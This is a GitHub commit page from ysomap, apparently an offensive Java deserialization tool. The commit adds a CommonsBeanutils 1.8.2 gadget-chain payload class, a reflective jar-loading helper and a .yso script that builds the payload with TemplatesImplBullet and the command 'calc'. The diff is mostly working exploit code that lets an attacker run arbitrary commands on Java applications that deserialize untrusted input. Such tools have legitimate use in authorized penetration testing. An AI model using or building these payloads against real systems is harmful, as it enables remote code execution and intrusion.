Skip to content

Commit

Permalink
add payload CommonsBeanuitls182
Browse files Browse the repository at this point in the history
  • Loading branch information
Ar3h authored and Ar3h committed Nov 7, 2022
1 parent 8da6b21 commit 6470441
Show file tree
Hide file tree
Showing 5 changed files with 143 additions and 1 deletion.
3 changes: 2 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -16,4 +16,5 @@

.DS_Store
*.ser
*Test.java
*Test.java
/lib/
90 changes: 90 additions & 0 deletions core/src/main/java/ysomap/core/util/JarHelper.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
package ysomap.core.util;

import ysomap.common.util.Logger;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class JarHelper {
public static String CommonsBeanutils182 = "commons-beanutils-1.8.2.jar";

private static URLClassLoader classLoader = null;

// 获取CommonsBeanuitls指定版本的指定类
public static Class getClassFromJar(String version, String className) {
if (CommonsBeanutils182.equals(version)) {
getURLClassLoader(CommonsBeanutils182);
}

if (classLoader == null) {
Logger.error("Not Found " + version);
return null;
}

Class clazz = loadClass(className);
if (clazz != null) {
return clazz;
} else {
Logger.error("not found Class: " + className);
return null;
}
}

// 通过jar包获取Class对象,当前lib目录下没有jar包则会自动创建、生成
private static void getURLClassLoader(String jarName) {
String libPath = System.getProperty("user.dir") + File.separator + "lib";
String jarPath = libPath + File.separator + jarName; // 当前目录下的jar目录
File file = new File(jarPath);
if (!file.exists()) {

}
URL url = null;
try {
url = new File(jarPath).toURI().toURL();

File lib = new File(libPath);
if (!lib.exists()) {
lib.mkdir();
Logger.normal("Create lib dir");
}

if (!file.exists()) {
InputStream is = JarHelper.class.getResourceAsStream("/" + jarName); // 从resources中获取jar包二进制流
if (is == null) {
Logger.error("Not found jar: " + jarName);
return;
}
FileOutputStream fileOutputStream = new FileOutputStream(jarPath);
byte[] bytes = new byte[1024 * 1024 * 10];
int bytesLength = is.read(bytes);
fileOutputStream.write(bytes, 0, bytesLength); // 写入到lib下,注意要控制字节的大小
Logger.normal("Write " + jarName + " to ./lib");
}
} catch (Exception e) {
e.printStackTrace();
}
classLoader = new URLClassLoader(new URL[]{url});
}

// 从加载器中读取类
public static Class loadClass(String className) {
try {
Method method = URLClassLoader.class.getDeclaredMethod("findClass", String.class);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, className);
return clazz;
} catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException e) {
e.printStackTrace();
}
return null;
}

public static void main(String[] args) {
Class clazz = getClassFromJar(JarHelper.CommonsBeanutils182, "org.apache.commons.beanutils.BeanComparator");
System.out.println(clazz.getName());
}
}

Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
package ysomap.payloads.java.commons.beanutils;

import ysomap.bullets.Bullet;
import ysomap.bullets.jdk.TemplatesImplBullet;
import ysomap.common.annotation.*;
import ysomap.core.util.JarHelper;
import ysomap.core.util.ReflectionHelper;
import ysomap.payloads.AbstractPayload;

import java.util.Comparator;
import java.util.PriorityQueue;

/**
* @author Ar3h
* @since 2022/11/07
*/
@Payloads
@SuppressWarnings({"rawtypes"})
@Targets({Targets.JDK})
@Require(bullets = {"TemplatesImplBullet"},param = false)
@Dependencies({"commons-beanutils:commons-beanutils:1.8.2", "commons-logging:commons-logging:1.2"})
public class CommonsBeanutils2 extends AbstractPayload<Object> {

@Override
public Bullet getDefaultBullet(Object... args) throws Exception {
return TemplatesImplBullet.newInstance(args);
}

@Override
public Object pack(Object obj) throws Exception {
Class beanComparatorClass = JarHelper.getClassFromJar(JarHelper.CommonsBeanutils182, "org.apache.commons.beanutils.BeanComparator");
Comparator comparator = (Comparator) beanComparatorClass.getDeclaredConstructor(String.class, Comparator.class).newInstance(null, String.CASE_INSENSITIVE_ORDER);

String action = bullet.get("action");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");

ReflectionHelper.setFieldValue(comparator, "property", action);

final Object[] queueArray = (Object[]) ReflectionHelper.getFieldValue(queue, "queue");
queueArray[0] = obj;
queueArray[1] = obj;
return queue;
}

}
Binary file not shown.
4 changes: 4 additions & 0 deletions scripts/CommonsBeanuitls182.yso
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
use payload CommonsBeanutils2
use bullet TemplatesImplBullet
set body calc
run

0 comments on commit 6470441

Please sign in to comment.